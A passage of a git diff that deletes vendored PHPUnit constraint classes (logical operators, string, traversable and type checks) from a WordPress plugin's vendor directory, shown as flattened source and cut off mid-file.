Returns the name of this operator. - */ - public function operator(): string - { - return 'and'; - } - - /** - * Returns this operator's precedence. - * - * @see https://www.php.net/manual/en/language.operators.precedence.php - */ - public function precedence(): int - { - return 22; - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - foreach ($this->constraints() as $constraint) { - if (!$constraint->evaluate($other, '', true)) { - return false; - } - } - - return [] !== $this->constraints(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalNot.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalNot.php deleted file mode 100644 index 586abc50..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalNot.php +++ /dev/null @@ -1,143 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function array_map; -use function count; -use function preg_match; -use function preg_quote; -use function preg_replace; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class LogicalNot extends UnaryOperator -{ - public static function negate(string $string): string - { - $positives = [ - 'contains ', - 'exists', - 'has ', - 'is ', - 'are ', - 'matches ', - 'starts with ', - 'ends with ', - 'reference ', - 'not not ', - ]; - - $negatives = [ - 'does not contain ', - 'does not exist', - 'does not have ', - 'is not ', - 'are not ', - 'does not match ', - 'starts not with ', - 'ends not with ', - 'don\'t reference ', - 'not ', - ]; - - preg_match('/(\'[\w\W]*\')([\w\W]*)("[\w\W]*")/i', $string, $matches); - - if (count($matches) === 0) { - preg_match('/(\'[\w\W]*\')([\w\W]*)(\'[\w\W]*\')/i', $string, $matches); - } - - $positives = array_map( - static function (string $s) - { - return '/\\b' . preg_quote($s, '/') . '/'; - }, - $positives, - ); - - if (count($matches) > 0) { - $nonInput = $matches[2]; - - $negatedString = preg_replace( - '/' . preg_quote($nonInput, '/') . '/', - preg_replace( - $positives, - $negatives, - $nonInput, - ), - $string, - ); - } else { - $negatedString = preg_replace( - $positives, - $negatives, - $string, - ); - } - - return $negatedString; - } - - /** - * Returns the name of this operator. - */ - public function operator(): string - { - return 'not'; - } - - /** - * Returns this operator's precedence. - * - * @see https://www.php.net/manual/en/language.operators.precedence.php - */ - public function precedence(): int - { - return 5; - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - return !$this->constraint()->evaluate($other, '', true); - } - - /** - * Applies additional transformation to strings returned by toString() or - * failureDescription(). - */ - protected function transformString(string $string): string - { - return self::negate($string); - } - - /** - * Reduces the sub-expression starting at $this by skipping degenerate - * sub-expression and returns first descendant constraint that starts - * a non-reducible sub-expression. - * - * See Constraint::reduce() for more. - */ - protected function reduce(): Constraint - { - $constraint = $this->constraint(); - - if ($constraint instanceof self) { - return $constraint->constraint()->reduce(); - } - - return parent::reduce(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalOr.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalOr.php deleted file mode 100644 index 2932de67..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalOr.php +++ /dev/null @@ -1,51 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class LogicalOr extends BinaryOperator -{ - /** - * Returns the name of this operator. - */ - public function operator(): string - { - return 'or'; - } - - /** - * Returns this operator's precedence. - * - * @see https://www.php.net/manual/en/language.operators.precedence.php - */ - public function precedence(): int - { - return 24; - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - public function matches($other): bool - { - foreach ($this->constraints() as $constraint) { - if ($constraint->evaluate($other, '', true)) { - return true; - } - } - - return false; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalXor.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalXor.php deleted file mode 100644 index ee1b1c29..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalXor.php +++ /dev/null @@ -1,63 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function array_reduce; -use function array_shift; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class LogicalXor extends BinaryOperator -{ - /** - * Returns the name of this operator. - */ - public function operator(): string - { - return 'xor'; - } - - /** - * Returns this operator's precedence. - * - * @see https://www.php.net/manual/en/language.operators.precedence.php. - */ - public function precedence(): int - { - return 23; - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - public function matches($other): bool - { - $constraints = $this->constraints(); - - $initial = array_shift($constraints); - - if ($initial === null) { - return false; - } - - return array_reduce( - $constraints, - static function (bool $matches, Constraint $constraint) use ($other): bool - { - return $matches xor $constraint->evaluate($other, '', true); - }, - $initial->evaluate($other, '', true), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/Operator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/Operator.php deleted file mode 100644 index 3f51a0f4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/Operator.php +++ /dev/null @@ -1,55 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -abstract class Operator extends Constraint -{ - /** - * Returns the name of this operator. - */ - abstract public function operator(): string; - - /** - * Returns this operator's precedence. - * - * @see https://www.php.net/manual/en/language.operators.precedence.php - */ - abstract public function precedence(): int; - - /** - * Returns the number of operands. - */ - abstract public function arity(): int; - - /** - * Validates $constraint argument. - */ - protected function checkConstraint($constraint): Constraint - { - if (!$constraint instanceof Constraint) { - return new IsEqual($constraint); - } - - return $constraint; - } - - /** - * Returns true if the $constraint needs to be wrapped with braces. - */ - protected function constraintNeedsParentheses(Constraint $constraint): bool - { - return $constraint instanceof self && - $constraint->arity() > 1 && - $this->precedence() <= $constraint->precedence(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/UnaryOperator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/UnaryOperator.php deleted file mode 100644 index f8c24a52..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/UnaryOperator.php +++ /dev/null @@ -1,141 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function count; -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -abstract class UnaryOperator extends Operator -{ - /** - * @var Constraint - */ - private $constraint; - - /** - * @param Constraint|mixed $constraint - */ - public function __construct($constraint) - { - $this->constraint = $this->checkConstraint($constraint); - } - - /** - * Returns the number of operands (constraints). - */ - public function arity(): int - { - return 1; - } - - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - $reduced = $this->reduce(); - - if ($reduced !== $this) { - return $reduced->toString(); - } - - $constraint = $this->constraint->reduce(); - - if ($this->constraintNeedsParentheses($constraint)) { - return $this->operator() . '( ' . $constraint->toString() . ' )'; - } - - $string = $constraint->toStringInContext($this, 0); - - if ($string === '') { - return $this->transformString($constraint->toString()); - } - - return $string; - } - - /** - * Counts the number of constraint elements. - */ - public function count(): int - { - return count($this->constraint); - } - - /** - * Returns the description of the failure. - * - * The beginning of failure messages is "Failed asserting that" in most - * cases. This method should return the second part of that sentence. - * - * @param mixed $other evaluated value or object - * - * @throws InvalidArgumentException - */ - protected function failureDescription($other): string - { - $reduced = $this->reduce(); - - if ($reduced !== $this) { - return $reduced->failureDescription($other); - } - - $constraint = $this->constraint->reduce(); - - if ($this->constraintNeedsParentheses($constraint)) { - return $this->operator() . '( ' . $constraint->failureDescription($other) . ' )'; - } - - $string = $constraint->failureDescriptionInContext($this, 0, $other); - - if ($string === '') { - return $this->transformString($constraint->failureDescription($other)); - } - - return $string; - } - - /** - * Transforms string returned by the member constraint's toString() or - * failureDescription() such that it reflects constraint's participation in - * this expression. - * - * The method may be overwritten in a subclass to apply default - * transformation in case the operand constraint does not provide its own - * custom strings via toStringInContext() or failureDescriptionInContext(). - * - * @param string $string the string to be transformed - */ - protected function transformString(string $string): string - { - return $string; - } - - /** - * Provides access to $this->constraint for subclasses. - */ - final protected function constraint(): Constraint - { - return $this->constraint; - } - - /** - * Returns true if the $constraint needs to be wrapped with parentheses. - */ - protected function constraintNeedsParentheses(Constraint $constraint): bool - { - $constraint = $constraint->reduce(); - - return $constraint instanceof self || parent::constraintNeedsParentheses($constraint); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/IsJson.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/IsJson.php deleted file mode 100644 index bdf36332..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/IsJson.php +++ /dev/null @@ -1,78 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function json_decode; -use function json_last_error; -use function sprintf; -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class IsJson extends Constraint -{ - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return 'is valid JSON'; - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - if ($other === '') { - return false; - } - - json_decode($other); - - if (json_last_error()) { - return false; - } - - return true; - } - - /** - * Returns the description of the failure. - * - * The beginning of failure messages is "Failed asserting that" in most - * cases. This method should return the second part of that sentence. - * - * @param mixed $other evaluated value or object - * - * @throws InvalidArgumentException - */ - protected function failureDescription($other): string - { - if ($other === '') { - return 'an empty string is valid JSON'; - } - - json_decode($other); - $error = (string) JsonMatchesErrorMessageProvider::determineJsonError( - (string) json_last_error(), - ); - - return sprintf( - '%s is valid JSON (%s)', - $this->exporter()->shortenedExport($other), - $error, - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/RegularExpression.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/RegularExpression.php deleted file mode 100644 index 9ccfb9bd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/RegularExpression.php +++ /dev/null @@ -1,51 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function preg_match; -use function sprintf; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -class RegularExpression extends Constraint -{ - /** - * @var string - */ - private $pattern; - - public function __construct(string $pattern) - { - $this->pattern = $pattern; - } - - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return sprintf( - 'matches PCRE pattern "%s"', - $this->pattern, - ); - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - return preg_match($this->pattern, $other) > 0; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/StringContains.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/StringContains.php deleted file mode 100644 index 5aa2c8e5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/StringContains.php +++ /dev/null @@ -1,85 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function mb_stripos; -use function mb_strtolower; -use function sprintf; -use function strpos; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class StringContains extends Constraint -{ - /** - * @var string - */ - private $string; - - /** - * @var bool - */ - private $ignoreCase; - - public function __construct(string $string, bool $ignoreCase = false) - { - $this->string = $string; - $this->ignoreCase = $ignoreCase; - } - - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - if ($this->ignoreCase) { - $string = mb_strtolower($this->string, 'UTF-8'); - } else { - $string = $this->string; - } - - return sprintf( - 'contains "%s"', - $string, - ); - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - if ('' === $this->string) { - return true; - } - - if ($this->ignoreCase) { - /* - * We must use the multi byte safe version so we can accurately compare non latin upper characters with - * their lowercase equivalents. - */ - return mb_stripos($other, $this->string, 0, 'UTF-8') !== false; - } - - /* - * Use the non multi byte safe functions to see if the string is contained in $other. - * - * This function is very fast and we don't care about the character position in the string. - * - * Additionally, we want this method to be binary safe so we can check if some binary data is in other binary - * data. - */ - return strpos($other, $this->string) !== false; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/StringEndsWith.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/StringEndsWith.php deleted file mode 100644 index bb4ce23b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/StringEndsWith.php +++ /dev/null @@ -1,48 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function strlen; -use function substr; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class StringEndsWith extends Constraint -{ - /** - * @var string - */ - private $suffix; - - public function __construct(string $suffix) - { - $this->suffix = $suffix; - } - - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return 'ends with "' . $this->suffix . '"'; - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - return substr($other, 0 - strlen($this->suffix)) === $this->suffix; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/StringMatchesFormatDescription.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/StringMatchesFormatDescription.php deleted file mode 100644 index 9c01ecb9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/StringMatchesFormatDescription.php +++ /dev/null @@ -1,109 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use const DIRECTORY_SEPARATOR; -use function explode; -use function implode; -use function preg_match; -use function preg_quote; -use function preg_replace; -use function strtr; -use SebastianBergmann\Diff\Differ; -use SebastianBergmann\Diff\Output\UnifiedDiffOutputBuilder; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class StringMatchesFormatDescription extends RegularExpression -{ - /** - * @var string - */ - private $string; - - public function __construct(string $string) - { - parent::__construct( - $this->createPatternFromFormat( - $this->convertNewlines($string), - ), - ); - - $this->string = $string; - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - return parent::matches( - $this->convertNewlines($other), - ); - } - - protected function failureDescription($other): string - { - return 'string matches format description'; - } - - protected function additionalFailureDescription($other): string - { - $from = explode("\n", $this->string); - $to = explode("\n", $this->convertNewlines($other)); - - foreach ($from as $index => $line) { - if (isset($to[$index]) && $line !== $to[$index]) { - $line = $this->createPatternFromFormat($line); - - if (preg_match($line, $to[$index]) > 0) { - $from[$index] = $to[$index]; - } - } - } - - $this->string = implode("\n", $from); - $other = implode("\n", $to); - - return (new Differ(new UnifiedDiffOutputBuilder("--- Expected\n+++ Actual\n")))->diff($this->string, $other); - } - - private function createPatternFromFormat(string $string): string - { - $string = strtr( - preg_quote($string, '/'), - [ - '%%' => '%', - '%e' => '\\' . DIRECTORY_SEPARATOR, - '%s' => '[^\r\n]+', - '%S' => '[^\r\n]*', - '%a' => '.+', - '%A' => '.*', - '%w' => '\s*', - '%i' => '[+-]?\d+', - '%d' => '\d+', - '%x' => '[0-9a-fA-F]+', - '%f' => '[+-]?\.?\d+\.?\d*(?:[Ee][+-]?\d+)?', - '%c' => '.', - ], - ); - - return '/^' . $string . '$/s'; - } - - private function convertNewlines(string $text): string - { - return preg_replace('/\r\n/', "\n", $text); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/StringStartsWith.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/StringStartsWith.php deleted file mode 100644 index 8683e272..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/String/StringStartsWith.php +++ /dev/null @@ -1,52 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function strpos; -use PHPUnit\Framework\InvalidArgumentException; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class StringStartsWith extends Constraint -{ - /** - * @var string - */ - private $prefix; - - public function __construct(string $prefix) - { - if ($prefix === '') { - throw InvalidArgumentException::create(1, 'non-empty string'); - } - - $this->prefix = $prefix; - } - - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return 'starts with "' . $this->prefix . '"'; - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - return strpos((string) $other, $this->prefix) === 0; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/ArrayHasKey.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/ArrayHasKey.php deleted file mode 100644 index 98a757a7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/ArrayHasKey.php +++ /dev/null @@ -1,78 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function array_key_exists; -use function is_array; -use ArrayAccess; -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class ArrayHasKey extends Constraint -{ - /** - * @var int|string - */ - private $key; - - /** - * @param int|string $key - */ - public function __construct($key) - { - $this->key = $key; - } - - /** - * Returns a string representation of the constraint. - * - * @throws InvalidArgumentException - */ - public function toString(): string - { - return 'has the key ' . $this->exporter()->export($this->key); - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - if (is_array($other)) { - return array_key_exists($this->key, $other); - } - - if ($other instanceof ArrayAccess) { - return $other->offsetExists($this->key); - } - - return false; - } - - /** - * Returns the description of the failure. - * - * The beginning of failure messages is "Failed asserting that" in most - * cases. This method should return the second part of that sentence. - * - * @param mixed $other evaluated value or object - * - * @throws InvalidArgumentException - */ - protected function failureDescription($other): string - { - return 'an array ' . $this->toString(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContains.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContains.php deleted file mode 100644 index 0f934396..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContains.php +++ /dev/null @@ -1,64 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function is_array; -use function sprintf; -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -abstract class TraversableContains extends Constraint -{ - /** - * @var mixed - */ - private $value; - - public function __construct($value) - { - $this->value = $value; - } - - /** - * Returns a string representation of the constraint. - * - * @throws InvalidArgumentException - */ - public function toString(): string - { - return 'contains ' . $this->exporter()->export($this->value); - } - - /** - * Returns the description of the failure. - * - * The beginning of failure messages is "Failed asserting that" in most - * cases. This method should return the second part of that sentence. - * - * @param mixed $other evaluated value or object - * - * @throws InvalidArgumentException - */ - protected function failureDescription($other): string - { - return sprintf( - '%s %s', - is_array($other) ? 'an array' : 'a traversable', - $this->toString(), - ); - } - - protected function value() - { - return $this->value; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsEqual.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsEqual.php deleted file mode 100644 index c315e709..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsEqual.php +++ /dev/null @@ -1,40 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use SplObjectStorage; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class TraversableContainsEqual extends TraversableContains -{ - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - if ($other instanceof SplObjectStorage) { - return $other->contains($this->value()); - } - - foreach ($other as $element) { - /* @noinspection TypeUnsafeComparisonInspection */ - if ($this->value() == $element) { - return true; - } - } - - return false; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsIdentical.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsIdentical.php deleted file mode 100644 index a3437dbc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsIdentical.php +++ /dev/null @@ -1,39 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use SplObjectStorage; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class TraversableContainsIdentical extends TraversableContains -{ - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - if ($other instanceof SplObjectStorage) { - return $other->contains($this->value()); - } - - foreach ($other as $element) { - if ($this->value() === $element) { - return true; - } - } - - return false; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsOnly.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsOnly.php deleted file mode 100644 index 4f34f72a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsOnly.php +++ /dev/null @@ -1,93 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use PHPUnit\Framework\Exception; -use PHPUnit\Framework\ExpectationFailedException; -use SebastianBergmann\RecursionContext\InvalidArgumentException; -use Traversable; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class TraversableContainsOnly extends Constraint -{ - /** - * @var Constraint - */ - private $constraint; - - /** - * @var string - */ - private $type; - - /** - * @throws Exception - */ - public function __construct(string $type, bool $isNativeType = true) - { - if ($isNativeType) { - $this->constraint = new IsType($type); - } else { - $this->constraint = new IsInstanceOf( - $type, - ); - } - - $this->type = $type; - } - - /** - * Evaluates the constraint for parameter $other. - * - * If $returnResult is set to false (the default), an exception is thrown - * in case of a failure. null is returned otherwise. - * - * If $returnResult is true, the result of the evaluation is returned as - * a boolean value instead: true in case of success, false in case of a - * failure. - * - * @param mixed|Traversable $other - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - */ - public function evaluate($other, string $description = '', bool $returnResult = false): ?bool - { - $success = true; - - foreach ($other as $item) { - if (!$this->constraint->evaluate($item, '', true)) { - $success = false; - - break; - } - } - - if ($returnResult) { - return $success; - } - - if (!$success) { - $this->fail($other, $description); - } - - return null; - } - - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return 'contains only values of type "' . $this->type . '"'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Type/IsInstanceOf.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Type/IsInstanceOf.php deleted file mode 100644 index c1b73a83..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Type/IsInstanceOf.php +++ /dev/null @@ -1,88 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function sprintf; -use ReflectionClass; -use ReflectionException; -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class IsInstanceOf extends Constraint -{ - /** - * @var string - */ - private $className; - - public function __construct(string $className) - { - $this->className = $className; - } - - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return sprintf( - 'is instance of %s "%s"', - $this->getType(), - $this->className, - ); - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - return $other instanceof $this->className; - } - - /** - * Returns the description of the failure. - * - * The beginning of failure messages is "Failed asserting that" in most - * cases. This method should return the second part of that sentence. - * - * @param mixed $other evaluated value or object - * - * @throws InvalidArgumentException - */ - protected function failureDescription($other): string - { - return sprintf( - '%s is an instance of %s "%s"', - $this->exporter()->shortenedExport($other), - $this->getType(), - $this->className, - ); - } - - private function getType(): string - { - try { - $reflection = new ReflectionClass($this->className); - - if ($reflection->isInterface()) { - return 'interface'; - } - } catch (ReflectionException $e) { - } - - return 'class'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Type/IsNull.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Type/IsNull.php deleted file mode 100644 index b9fcdd7a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Type/IsNull.php +++ /dev/null @@ -1,35 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class IsNull extends Constraint -{ - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return 'is null'; - } - - /** - * Evaluates the constraint 